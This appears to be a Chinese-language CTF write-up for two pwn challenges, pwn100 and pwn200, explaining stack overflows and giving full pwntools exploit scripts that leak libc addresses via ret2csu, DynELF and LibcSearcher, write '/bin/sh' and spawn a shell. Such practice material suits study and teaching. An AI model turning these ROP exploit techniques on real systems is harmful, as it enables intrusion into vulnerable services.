攻防世界pwn进阶(pwn100和pwn200)

64位和32位传参

    • pwn100
    • pwn200

pwn100

先查看防御机制。64位程序。开启了NX保护,即堆栈不可执行,直接往栈上注入代码难以发挥效果。
同时开启了Partial RELRO,意味着got表可写。攻防世界pwn进阶(pwn100和pwn200)_第1张图片
用ida查看伪代码。发现存在明显的栈溢出漏洞:
攻防世界pwn进阶(pwn100和pwn200)_第2张图片
但是找不到system函数和binsh字符串,想到用ROP的方法。
这道题跟wiki上的 ret2csu 应该是同一种类型。
确定大概的思路是:
1.泄露出sys的地址,同时利用栈溢出修改返回地址,让程序跳回到开始点,准备下一次输入输出。
2.找一段地址把“/bin/sh”写进去,同时又利用栈溢出修改返回地址,让程序跳回到开始点,准备下一次输入输出。
3.直接利用前面两点得到的地址构建payload,传过去就可以get shell了。

先写出puts和read函数的plt、got和main函数的地址:

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
read_plt=elf.plt['read']
read_got=elf.got['read']
main_addr=0x4006b8

在ida的函数汇编语言中找到下面这段pop的代码:
(看大佬的博客时发现另一种gadget: "pop rdi; retn ",它的位置就在pop r15后面,可推算地址为0x400763,附上大佬的博客,这里面讲了为什么可以这样推算。)
攻防世界pwn进阶(pwn100和pwn200)_第3张图片
攻防世界pwn进阶(pwn100和pwn200)_第4张图片
写下相关的地址,留着后面用:

pop_addr=0x40075a
mov_addr=0x400740
main_addr=0x4006b8
start_addr=0x400550#代码执行的开头地址
poprdi_addr=0x400763#gadget,代码结束前一格的地址
binsh_addr=0x601040#找一个可以写‘/bin/sh’的地址,之后可以直接拿这个地址访问这串字符

关于函数地址的获取,我在b站上看到一个新的方法,利用了pwntools中的DynELF模块。
其基本的使用模型是:

io=remote(IP,Port)
def leak(addr):
	payload2leak_addr=****+pack(addr)+****
	io.send(payload2leak_addr)
	data=io.recv()
	return data#泄露出来的地址
d=DynELF(leak, pointer=pointer_into_ELF_file, elf=ELFObject)#初始化DynELF模块
#据我观察,中间的指针好像一般都没写......
system_addr=d.lookup("system",libc)#在libc文件中搜索system函数的地址
log.info("system_addr => %#x",system_addr)#这里是打印出来查看sys的地址

再结合这道题目,往这个模板上填充:
附上找到的一篇大佬博客:DynELF模块(里面有更详细的解释,特别是为什么使用while true那段循环来控制吸收字符的频率,我觉得蛮干货的…)

def leak(address):
	payload='a'*(0x40+8)+p64(poprdi_addr)+p64(address)+p64(puts_plt)+p64(start_addr)
	##关于为什么要加上poprdi_addr我还没弄清楚......
	payload=payload.ljust(200,'a')##在原payload的基础上填充无效字符
	sh.sendline(payload)
	sh.recvuntil("bye~\n")
	up=""
	content=""
	count=0
	while true:
		c=sh.recv(numb=1,timeout=0.5)##设置吸收字符的时间间隔
		count+=1
		if up=='\n'and c=='':
			content=content[:-1]+'\x00'
			break##吸收完或读到换行符的时候break出去
		else:
			content+=c##将吸收的字符加到content中
			up=c##记录当前吸收到的字符,用于下一轮循环时是否break的判断
	content=content[:4]##取了四位
	return content
	
d=DynELF(leak,elf =ELF('./pwn100'))#初始化DynELF模块
sys_addr=d.lookup('system','libc') #在libc文件中搜索system函数的地址

既然已经拿到了system的真实地址,现在就差binsh了。可以把/bin/sh写进去。
在此之前函数已经跳回到开始的位置,所以要再构建一次payload。
具体的各个寄存器的值放什么好呢?先翻翻用到的地址里面有没有限制。
在mov这里,有rbp和rbx的比较。为了不让它循环下去,就要让rbp+1=rbx。
因此在传参的时候直接把rbp设成0,rbx设成1好了。
攻防世界pwn进阶(pwn100和pwn200)_第5张图片

payload='a'*(0x40+8)
payload+=p64(pop_addr)+p64(0)+p64(1)+p64(read_got)+p64(8)
payload+=p64(binsh_addr)+p64(0)+p64(mov_addr)+"\x00"*56+p64(start_addr)
##在mov之后又会跳转回pop函数,而pop函数中有7个小段,就是7*8个字节才到retn,所以要补充‘\x00’*56才能返回start的地址!
payload=payload.ljust(200,"a")

sh.send(payload)
sh.recvuntil("bye~\n")
sh.send("/bin/sh\x00")

最后利用sys和binsh的地址再构造一段payload发过去就可以了

payload='a'*(0x40+8)
payload+=p64(poprdi_addr)+p64(binsh_addr)+p64(sys_addr)
payload=payload.ljust(200,'b')

sh.sendline(payload)
sh.interactive()

pwn200

先checksec一下:32位程序,got表可写,堆栈不可执行。
攻防世界pwn进阶(pwn100和pwn200)_第6张图片
放到ida中查看伪代码,其中调用了write和read函数进行了两次写入。但是找不到system函数和/bin/sh段,应该要用ROP的方法,先找到相应的地址再通过其中一个写入的函数传进去。
32位程序是栈传参,确定用哪个函数传参、传什么参之后exp就能写出来了。
攻防世界pwn进阶(pwn100和pwn200)_第7张图片
攻防世界pwn进阶(pwn100和pwn200)_第8张图片
先写需要用到的write、read函数的plt、got和main函数的地址留着之后用。
考虑到主函数首先输出buf变量的值,而且write函数也是写到buf变量中。所以可以在第一次输入的时候利用栈溢出,修改返回地址为main函数的地址再次执行main函数,让其直接输出我们写进去的write_addr(这样可以用于后面的偏移地址的计算):

write_plt=elf.plt['write']
write_got=elf.got['write']
read_plt=elf.plt['read']
read_got=elf.got['read']
main_addr=0x80484BE

payload='a'*(0x6c+4)
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)

io.recvuntil("2015~!\n")
io.sendline(payload)
write_addr=u32(io.recv(4))

接着拿着这个write_addr用LibcSearcher工具,通过相减的计算得到偏移距离libc_base。再找到system和binsh段对应的地址,加上其偏移距离就可得到它们的真实地址。这样传参的时候就可以直接写进去了。

libc=LibcSearcher("write",write_addr)
libc_base=write_addr-libc.dump('write')
sys_addr=libc.dump('system')+libc_base
binsh_addr= libc_base+ libc.dump("str_bin_sh")

payload='a'*(0x6C+4)
payload+=p32(sys_addr)+'aaaa'+p32(binsh_addr)
io.recv("2015~!\n")
io.sendline(payload)

你可能感兴趣的:(攻防世界pwn进阶(pwn100和pwn200))